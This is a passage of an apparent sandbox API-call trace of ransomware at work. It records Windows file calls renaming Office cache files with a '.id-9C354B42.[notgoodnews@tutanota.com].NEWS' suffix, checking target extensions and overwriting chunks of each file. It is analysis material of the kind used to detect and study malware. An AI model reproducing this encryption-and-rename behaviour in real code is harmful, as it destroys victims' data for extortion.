lpNewFilePointer=0x0) returned 1 [0046.190] SetFilePointerEx (in: hFile=0x1a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x312fc2c | out: lpNewFilePointer=0x0) returned 1 [0046.190] ReadFile (in: hFile=0x1a0, lpBuffer=0x3a60058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x312fc38, lpOverlapped=0x0 | out: lpBuffer=0x3a60058*, lpNumberOfBytesRead=0x312fc38*=0x40000, lpOverlapped=0x0) returned 1 [0046.251] SetFilePointerEx (in: hFile=0x1a0, liDistanceToMove=0x165e0da, lpNewFilePointer=0x0, dwMoveMethod=0x312fc2c | out: lpNewFilePointer=0x0) returned 1 [0046.251] ReadFile (in: hFile=0x1a0, lpBuffer=0x3aa0058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x312fc38, lpOverlapped=0x0 | out: lpBuffer=0x3aa0058*, lpNumberOfBytesRead=0x312fc38*=0x40000, lpOverlapped=0x0) returned 1 [0046.271] SetFilePointerEx (in: hFile=0x1a0, liDistanceToMove=0xfffc0000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x312fc6c | out: lpNewFilePointer=0xffffffff) returned 1 [0046.271] SetFilePointerEx (in: hFile=0x1a0, liDistanceToMove=0x42da290, lpNewFilePointer=0x0, dwMoveMethod=0x312fc2c | out: lpNewFilePointer=0x0) returned 1 [0046.271] ReadFile (in: hFile=0x1a0, lpBuffer=0x3ae0058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x312fc38, lpOverlapped=0x0 | out: lpBuffer=0x3ae0058*, lpNumberOfBytesRead=0x312fc38*=0x40000, lpOverlapped=0x0) returned 1 [0046.631] SetFilePointerEx (in: hFile=0x1a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x312fec8 | out: lpNewFilePointer=0x0) returned 1 [0046.631] WriteFile (in: hFile=0x1a0, lpBuffer=0x3a60020*, nNumberOfBytesToWrite=0xc00fe, lpNumberOfBytesWritten=0x312fcb0, lpOverlapped=0x0 | out: lpBuffer=0x3a60020*, lpNumberOfBytesWritten=0x312fcb0*=0xc00fe, lpOverlapped=0x0) returned 1 [0046.654] SetEndOfFile (hFile=0x1a0) returned 1 [0046.654] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x40000) returned 0x3ef5868 [0046.996] SetFilePointerEx (in: hFile=0x1a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x312fc7c | out: lpNewFilePointer=0x0) returned 1 [0046.996] WriteFile (in: hFile=0x1a0, lpBuffer=0x3ef5868*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x312fc88, lpOverlapped=0x0 | out: lpBuffer=0x3ef5868*, lpNumberOfBytesWritten=0x312fc88*=0x40000, lpOverlapped=0x0) returned 1 [0046.998] SetFilePointerEx (in: hFile=0x1a0, liDistanceToMove=0x165e0da, lpNewFilePointer=0x0, dwMoveMethod=0x312fc7c | out: lpNewFilePointer=0x0) returned 1 [0046.998] WriteFile (in: hFile=0x1a0, lpBuffer=0x3ef5868*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x312fc88, lpOverlapped=0x0 | out: lpBuffer=0x3ef5868*, lpNumberOfBytesWritten=0x312fc88*=0x40000, lpOverlapped=0x0) returned 1 [0047.000] SetFilePointerEx (in: hFile=0x1a0, liDistanceToMove=0x42da290, lpNewFilePointer=0x0, dwMoveMethod=0x312fc7c | out: lpNewFilePointer=0x0) returned 1 [0047.000] WriteFile (in: hFile=0x1a0, lpBuffer=0x3ef5868*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x312fc88, lpOverlapped=0x0 | out: lpBuffer=0x3ef5868*, lpNumberOfBytesWritten=0x312fc88*=0x40000, lpOverlapped=0x0) returned 1 [0047.003] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3ef5868 | out: hHeap=0x5c0000) returned 1 [0047.004] CloseHandle (hObject=0x1a0) returned 1 [0052.296] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PptLR.cab.id-9C354B42.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x2020) returned 1 [0052.296] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PptLR.cab") returned 72 [0052.296] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PptLR.cab") returned 72 [0052.296] lstrlenW (lpString=".doc") returned 4 [0052.296] lstrcmpiW (lpString1=".doc", lpString2=".cab") returned 1 [0052.297] lstrlenW (lpString=".docx") returned 5 [0052.297] lstrcmpiW (lpString1=".docx", lpString2="R.cab") returned -1 [0052.297] lstrlenW (lpString=".pdf") returned 4 [0052.297] lstrcmpiW (lpString1=".pdf", lpString2=".cab") returned 1 [0052.297] lstrlenW (lpString=".xls") returned 4 [0052.297] lstrcmpiW (lpString1=".xls", lpString2=".cab") returned 1 [0052.297] lstrlenW (lpString=".xlsx") returned 5 [0052.297] lstrcmpiW (lpString1=".xlsx", lpString2="R.cab") returned -1 [0052.297] lstrlenW (lpString=".ppt") returned 4 [0052.297] lstrcmpiW (lpString1=".ppt", lpString2=".cab") returned 1 [0052.297] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PptLR.cab") returned 72 [0052.297] lstrlenW (lpString=".zip") returned 4 [0052.297] lstrcmpiW (lpString1=".zip", lpString2=".cab") returned 1 [0052.297] lstrlenW (lpString=".rar") returned 4 [0052.297] lstrcmpiW (lpString1=".rar", lpString2=".cab") returned 1 [0052.297] lstrlenW (lpString=".bz2") returned 4 [0052.297] lstrcmpiW (lpString1=".bz2", lpString2=".cab") returned -1 [0052.297] lstrlenW (lpString=".7z") returned 3 [0052.297] lstrcmpiW (lpString1=".7z", lpString2="cab") returned -1 [0052.297] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PptLR.cab") returned 72 [0052.298] lstrlenW (lpString=".dbf") returned 4 [0052.298] lstrcmpiW (lpString1=".dbf", lpString2=".cab") returned 1 [0052.298] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PptLR.cab") returned 72 [0052.298] lstrlenW (lpString=".1cd") returned 4 [0052.298] lstrcmpiW (lpString1=".1cd", lpString2=".cab") returned -1 [0052.298] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PptLR.cab") returned 72 [0052.298] lstrlenW (lpString=".jpg") returned 4 [0052.298] lstrcmpiW (lpString1=".jpg", lpString2=".cab") returned 1 [0052.298] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PptLR.cab") returned 72 [0052.298] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PptLR.cab") returned 72 [0052.298] lstrlenW (lpString=".doc") returned 4 [0052.298] lstrcmpiW (lpString1=".doc", lpString2=".cab") returned 1 [0052.298] lstrlenW (lpString=".docx") returned 5 [0052.298] lstrcmpiW (lpString1=".docx", lpString2="R.cab") returned -1 [0052.298] lstrlenW (lpString=".pdf") returned 4 [0052.298] lstrcmpiW (lpString1=".pdf", lpString2=".cab") returned 1 [0052.298] lstrlenW (lpString=".xls") returned 4 [0052.298] lstrcmpiW (lpString1=".xls", lpString2=".cab") returned 1 [0052.298] lstrlenW (lpString=".xlsx") returned 5 [0052.298] lstrcmpiW (lpString1=".xlsx", lpString2="R.cab") returned -1 [0052.298] lstrlenW (lpString=".ppt") returned 4 [0052.299] lstrcmpiW (lpString1=".ppt", lpString2=".cab") returned 1 [0052.299] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PptLR.cab") returned 72 [0052.299] lstrlenW (lpString=".zip") returned 4 [0052.299] lstrcmpiW (lpString1=".zip", lpString2=".cab") returned 1 [0052.299] lstrlenW (lpString=".rar") returned 4 [0052.299] lstrcmpiW (lpString1=".rar", lpString2=".cab") returned 1 [0052.299] lstrlenW (lpString=".bz2") returned 4 [0052.299] lstrcmpiW (lpString1=".bz2", lpString2=".cab") returned -1 [0052.299] lstrlenW (lpString=".7z") returned 3 [0052.299] lstrcmpiW (lpString1=".7z", lpString2="cab") returned -1 [0052.299] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PptLR.cab") returned 72 [0052.299] lstrlenW (lpString=".dbf") returned 4 [0052.299] lstrcmpiW (lpString1=".dbf", lpString2=".cab") returned 1 [0052.299] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PptLR.cab") returned 72 [0052.299] lstrlenW (lpString=".1cd") returned 4 [0052.299] lstrcmpiW (lpString1=".1cd", lpString2=".cab") returned -1 [0052.299] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PptLR.cab") returned 72 [0052.299] lstrlenW (lpString=".jpg") returned 4 [0052.299] lstrcmpiW (lpString1=".jpg", lpString2=".cab") returned 1 [0052.300] lstrcmpiW (lpString1=".cab", lpString2=".NEWS") returned -1 [0052.300] lstrlenW (lpString="WordLR.cab") returned 10 [0052.300] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordLR.cab" (normalized: "c:\\msocache\\all users\\{90140000-001b-0409-1000-0000000ff1ce}-c\\wordlr.cab"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a0 [0052.300] GetFileSizeEx (in: hFile=0x1a0, lpFileSize=0x312ff1c | out: lpFileSize=0x312ff1c*=43806141) returned 1 [0052.300] CloseHandle (hObject=0x1a0) returned 1 [0052.300] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordLR.cab" (normalized: "c:\\msocache\\all users\\{90140000-001b-0409-1000-0000000ff1ce}-c\\wordlr.cab")) returned 0x2020 [0052.300] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordLR.cab.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\msocache\\all users\\{90140000-001b-0409-1000-0000000ff1ce}-c\\wordlr.cab.id-9c354b42.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0052.301] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordLR.cab" (normalized: "c:\\msocache\\all users\\{90140000-001b-0409-1000-0000000ff1ce}-c\\wordlr.cab"), lpNewFileName="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordLR.cab.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\msocache\\all users\\{90140000-001b-0409-1000-0000000ff1ce}-c\\wordlr.cab.id-9c354b42.[notgoodnews@tutanota.com].news")) returned 1 [0052.301] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordLR.cab.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\msocache\\all users\\{90140000-001b-0409-1000-0000000ff1ce}-c\\wordlr.cab.id-9c354b42.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a0 [0052.301] SetFilePointerEx (in: hFile=0x1a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x312fc6c | out: lpNewFilePointer=0x0) returned 1 [0052.301] SetFilePointerEx (in: hFile=0x1a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x312fc2c | out: lpNewFilePointer=0x0) returned 1 [0052.301] ReadFile (in: hFile=0x1a0, lpBuffer=0x3a60058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x312fc38, lpOverlapped=0x0 | out: lpBuffer=0x3a60058*, lpNumberOfBytesRead=0x312fc38*=0x40000, lpOverlapped=0x0) returned 1 [0052.435] SetFilePointerEx (in: hFile=0x1a0, liDistanceToMove=0xdecf3f, lpNewFilePointer=0x0, dwMoveMethod=0x312fc2c | out: lpNewFilePointer=0x0) returned 1 [0052.435] ReadFile (in: hFile=0x1a0, lpBuffer=0x3aa0058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x312fc38, lpOverlapped=0x0 | out: lpBuffer=0x3aa0058*, lpNumberOfBytesRead=0x312fc38*=0x40000, lpOverlapped=0x0) returned 1 [0052.457] SetFilePointerEx (in: hFile=0x1a0, liDistanceToMove=0xfffc0000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x312fc6c | out: lpNewFilePointer=0xffffffff) returned 1 [0052.457] SetFilePointerEx (in: hFile=0x1a0, liDistanceToMove=0x2986dbd, lpNewFilePointer=0x0, dwMoveMethod=0x312fc2c | out: lpNewFilePointer=0x0) returned 1 [0052.457] ReadFile (in: hFile=0x1a0, lpBuffer=0x3ae0058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x312fc38, lpOverlapped=0x0 | out: lpBuffer=0x3ae0058*, lpNumberOfBytesRead=0x312fc38*=0x40000, lpOverlapped=0x0) returned 1 [0052.507] SetFilePointerEx (in: hFile=0x1a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x312fec8 | out: lpNewFilePointer=0x0) returned 1 [0052.507] WriteFile (in: hFile=0x1a0, lpBuffer=0x3a60020*, nNumberOfBytesToWrite=0xc0100, lpNumberOfBytesWritten=0x312fcb0, lpOverlapped=0x0 | out: lpBuffer=0x3a60020*, lpNumberOfBytesWritten=0x312fcb0*=0xc0100, lpOverlapped=0x0) returned 1 [0052.537] SetEndOfFile (hFile=0x1a0) returned 1 [0052.537] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x40000) returned 0x3f85880 [0052.706] SetFilePointerEx (in: hFile=0x1a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x312fc7c | out: lpNewFilePointer=0x0) returned 1 [0052.707] WriteFile (in: hFile=0x1a0, lpBuffer=0x3f85880*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x312fc88, lpOverlapped=0x0 | out: lpBuffer=0x3f85880*, lpNumberOfBytesWritten=0x312fc88*=0x40000, lpOverlapped=0x0) returned 1 [0052.708] SetFilePointerEx (in: hFile=0x1a0, liDistanceToMove=0xdecf3f, lpNewFilePointer=0x0, dwMoveMethod=0x312fc7c | out: lpNewFilePointer=0x0) returned 1 [0052.708] WriteFile (in: hFile=0x1a0, lpBuffer=0x3f85880*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x312fc88, lpOverlapped=0x0 | out: lpBuffer=0x3f85880*, lpNumberOfBytesWritten=0x312fc88*=0x40000, lpOverlapped=0x0) returned 1 [0052.713] SetFilePointerEx (in: hFile=0x1a0, liDistanceToMove=0x2986dbd, lpNewFilePointer=0x0, dwMoveMethod=0x312fc7c | out: lpNewFilePointer=0x0) returned 1 [0052.713] WriteFile (in: hFile=0x1a0, lpBuffer=0x3f85880*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x312fc88, lpOverlapped=0x0 | out: lpBuffer=0x3f85880*, lpNumberOfBytesWritten=0x312fc88*=0x40000, lpOverlapped=0x0) returned 1 [0052.717] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3f85880 | out: hHeap=0x5c0000) returned 1 [0052.722] CloseHandle (hObject=0x1a0) returned 1 [0056.813] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordLR.cab.id-9C354B42.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x2020) returned 1 [0056.813] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordLR.cab") returned 73 [0056.814] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordLR.cab") returned 73 [0056.814] lstrlenW (lpString=".doc") returned 4 [0056.814] lstrcmpiW (lpString1=".doc", lpString2=".cab") returned 1 [0056.814] lstrlenW (lpString=".docx") returned 5 [0056.814] lstrcmpiW (lpString1=".docx", lpString2="R.cab") returned -1 [0056.814] lstrlenW (lpString=".pdf") returned 4 [0056.814] lstrcmpiW (lpString1=".pdf", lpString2=".cab") returned 1 [0056.814] lstrlenW (lpString=".xls") returned 4 [0056.814] lstrcmpiW (lpString1=".xls", lpString2=".cab") returned 1 [0056.814] lstrlenW (lpString=".xlsx") returned 5 [0056.814] lstrcmpiW (lpString1=".xlsx", lpString2="R.cab") returned -1 [0056.814] lstrlenW (lpString=".ppt") returned 4 [0056.814] lstrcmpiW (lpString1=".ppt", lpString2=".cab") returned 1 [0056.815] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordLR.cab") returned 73 [0056.815] lstrlenW (lpString=".zip") returned 4 [0056.815] lstrcmpiW (lpString1=".zip", lpString2=".cab") returned 1 [0056.815] lstrlenW (lpString=".rar") returned 4 [0056.815] lstrcmpiW (lpString1=".rar", lpString2=".cab") returned 1 [0056.815] lstrlenW (lpString=".bz2") returned 4 [0056.815] lstrcmpiW (lpString1=".bz2", lpString2=".cab") returned -1 [0056.815] lstrlenW (lpString=".7z") returned 3 [0056.815] lstrcmpiW (lpString1=".7z", lpString2="cab") returned -1 [0056.815] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordLR.cab") returned 73 [0056.815] lstrlenW (lpString=".dbf") returned 4 [0056.815] lstrcmpiW (lpString1=".dbf", lpString2=".cab") returned 1 [0056.815] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordLR.cab") returned 73 [0056.815] lstrlenW (lpString=".1cd") returned 4 [0056.815] lstrcmpiW (lpString1=".1cd", lpString2=".cab") returned -1 [0056.815] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordLR.cab") returned 73 [0056.815] lstrlenW (lpString=".jpg") returned 4 [0056.815] lstrcmpiW (lpString1=".jpg", lpString2=".cab") returned 1 [0056.815] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordLR.cab") returned 73 [0056.815] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordLR.cab") returned 73 [0056.815] lstrlenW (lpString=".doc") returned 4 [0056.816] lstrcmpiW (lpString1=".doc", lpString2=".cab") returned 1 [0056.816] lstrlenW (lpString=".docx") returned 5 [0056.816] lstrcmpiW (lpString1=".docx", lpString2="R.cab") returned -1 [0056.816] lstrlenW (lpString=".pdf") returned 4 [0056.816] lstrcmpiW (lpString1=".pdf", lpString2=".cab") returned 1 [0056.816] lstrlenW (lpString=".xls") returned 4 [0056.816] lstrcmpiW (lpString1=".xls", lpString2=".cab") returned 1 [0056.816] lstrlenW (lpString=".xlsx") returned 5 [0056.816] lstrcmpiW (lpString1=".xlsx", lpString2="R.cab") returned -1 [0056.816] lstrlenW (lpString=".ppt") returned 4 [0056.816] lstrcmpiW (lpString1=".ppt", lpString2=".cab") returned 1 [0056.816] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordLR.cab") returned 73 [0056.816] lstrlenW (lpString=".zip") returned 4 [0056.816] lstrcmpiW (lpString1=".zip", lpString2=".cab") returned 1 [0056.816] lstrlenW (lpString=".rar") returned 4 [0056.816] lstrcmpiW (lpString1=".rar", lpString2=".cab") returned 1 [0056.816] lstrlenW (lpString=".bz2") returned 4 [0056.816] lstrcmpiW (lpString1=".bz2", lpString2=".cab") returned -1 [0056.816] lstrlenW (lpString=".7z") returned 3 [0056.816] lstrcmpiW (lpString1=".7z", lpString2="cab") returned -1 [0056.816] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordLR.cab") returned 73 [0056.816] lstrlenW (lpString=".dbf") returned 4 [0056.816] lstrcmpiW (lpString1=".dbf", lpString2=".cab") returned 1 [0056.817] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordLR.cab") returned 73 [0056.817] lstrlenW (lpString=".1cd") returned 4 [0056.817] lstrcmpiW (lpString1=".1cd", lpString2=".cab") returned -1 [0056.817] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordLR.cab") returned 73 [0056.817] lstrlenW (lpString=".jpg") returned 4 [0056.817] lstrcmpiW (lpString1=".jpg", lpString2=".cab") returned 1 [0056.817] lstrcmpiW (lpString1=".cab", lpString2=".NEWS") returned -1 [0056.817] lstrlenW (lpString="Proof.cab") returned 9 [0056.817] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.cab" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.fr\\proof.cab"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a0 [0056.818] GetFileSizeEx (in: hFile=0x1a0, lpFileSize=0x312ff1c | out: lpFileSize=0x312ff1c*=21064532) returned 1 [0056.818] CloseHandle (hObject=0x1a0) returned 1 [0056.818] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.cab" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.fr\\proof.cab")) returned 0x2020 [0056.818] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.cab.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.fr\\proof.cab.id-9c354b42.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0056.818] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.cab" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.fr\\proof.cab"), lpNewFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.cab.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.fr\\proof.cab.id-9c354b42.[notgoodnews@tutanota.com].news")) returned 1 [0057.023] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.cab.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.fr\\proof.cab.id-9c354b42.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a0 [0057.023] SetFilePointerEx (in: hFile=0x1a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x312fc6c | out: lpNewFilePointer=0x0) returned 1 [0057.023] SetFilePointerEx (in: hFile=0x1a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x312fc2c | out: lpNewFilePointer=0x0) returned 1 [0057.023] ReadFile (in: hFile=0x1a0, lpBuffer=0x3a60058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x312fc38, lpOverlapped=0x0 | out: lpBuffer=0x3a60058*, lpNumberOfBytesRead=0x312fc38*=0x40000, lpOverlapped=0x0) returned 1 [0057.030] SetFilePointerEx (in: hFile=0x1a0, liDistanceToMove=0x6b23c6, lpNewFilePointer=0x0, dwMoveMethod=0x312fc2c | out: lpNewFilePointer=0x0) returned 1 [0057.030] ReadFile (in: hFile=0x1a0, lpBuffer=0x3aa0058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x312fc38, lpOverlapped=0x0 | out: lpBuffer=0x3aa0058*, lpNumberOfBytesRead=0x312fc38*=0x40000, lpOverlapped=0x0) returned 1 [0057.078] SetFilePointerEx (in: hFile=0x1a0, liDistanceToMove=0xfffc0000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x312fc6c | out: lpNewFilePointer=0xffffffff) returned 1 [0057.078] SetFilePointerEx (in: hFile=0x1a0, liDistanceToMove=0x13d6b54, lpNewFilePointer=0x0, dwMoveMethod=0x312fc2c | out: lpNewFilePointer=0x0) returned 1 [0057.078] ReadFile (in: hFile=0x1a0, lpBuffer=0x3ae0058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x312fc38, lpOverlapped=0x0 | out: lpBuffer=0x3ae0058*, lpNumberOfBytesRead=0x312fc38*=0x40000, lpOverlapped=0x0) returned 1 [0057.401] SetFilePointerEx (in: hFile=0x1a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x312fec8 | out: lpNewFilePointer=0x0) returned 1 [0057.401] WriteFile (in: hFile=0x1a0, lpBuffer=0x3a60020*, nNumberOfBytesToWrite=0xc00fe, lpNumberOfBytesWritten=0x312fcb0, lpOverlapped=0x0 | out: lpBuffer=0x3a60020*, lpNumberOfBytesWritten=0x312fcb0*=0xc00fe, lpOverlapped=0x0) returned 1 [0057.426] SetEndOfFile (hFile=0x1a0) returned 1 [0057.426] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x40000) returned 0x3f65878 [0057.547] SetFilePointerEx (in: hFile=0x1a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x312fc7c | out: lpNewFilePointer=0x0) returned 1 [0057.547] WriteFile (in: hFile=0x1a0, lpBuffer=0x3f65878*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x312fc88, lpOverlapped=0x0 | out: lpBuffer=0x3f65878*, lpNumberOfBytesWritten=0x312fc88*=0x40000, lpOverlapped=0x0) returned 1 [0057.642] SetFilePointerEx (in: hFile=0x1a0, liDistanceToMove=0x6b23c6, lpNewFilePointer=0x0, dwMoveMethod=0x312fc7c | out: lpNewFilePointer=0x0) returned 1 [0057.642] WriteFile (in: hFile=0x1a0, lpBuffer=0x3f65878*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x312fc88, lpOverlapped=0x0 | out: lpBuffer=0x3f65878*, lpNumberOfBytesWritten=0x312fc88*=0x40000, lpOverlapped=0x0) returned 1 [0057.644] SetFilePointerEx (in: hFile=0x1a0, liDistanceToMove=0x13d6b54, lpNewFilePointer=0x0, dwMoveMethod=0x312fc7c | out: lpNewFilePointer=0x0) returned 1 [0057.644] WriteFile (in: hFile=0x1a0, lpBuffer=0x3f65878*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x312fc88, lpOverlapped=0x0 | out: lpBuffer=0x3f65878*, lpNumberOfBytesWritten=0x312fc88*=0x40000, lpOverlapped=0x0) returned 1 [0057.646] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3f65878 | out: hHeap=0x5c0000) returned 1 [0057.646] CloseHandle (hObject=0x1a0) returned 1 [0062.820] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.cab.id-9C354B42.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x2020) returned 1 [0062.821] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.cab") returned 81 [0062.821] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.cab") returned 81 [0062.821] lstrlenW (lpString=".doc") returned 4 [0062.821] lstrcmpiW (lpString1=".doc", lpString2=".cab") returned 1 [0062.821] lstrlenW (lpString=".docx") returned 5 [0062.821] lstrcmpiW (lpString1=".docx", lpString2="f.cab") returned -1 [0062.821] lstrlenW (lpString=".pdf") returned 4 [0062.821] lstrcmpiW (lpString1=".pdf", lpString2=".cab") returned 1 [0062.821] lstrlenW (lpString=".xls") returned 4 [0062.821] lstrcmpiW (lpString1=".xls", lpString2=".cab") returned 1 [0062.821] lstrlenW (lpString=".xlsx") returned 5 [0062.821] lstrcmpiW (lpString1=".xlsx", lpString2="f.cab") returned -1 [0062.821] lstrlenW (lpString=".ppt") returned 4 [0062.821] lstrcmpiW (lpString1=".ppt", lpString2=".cab") returned 1 [0062.821] lstrlenW 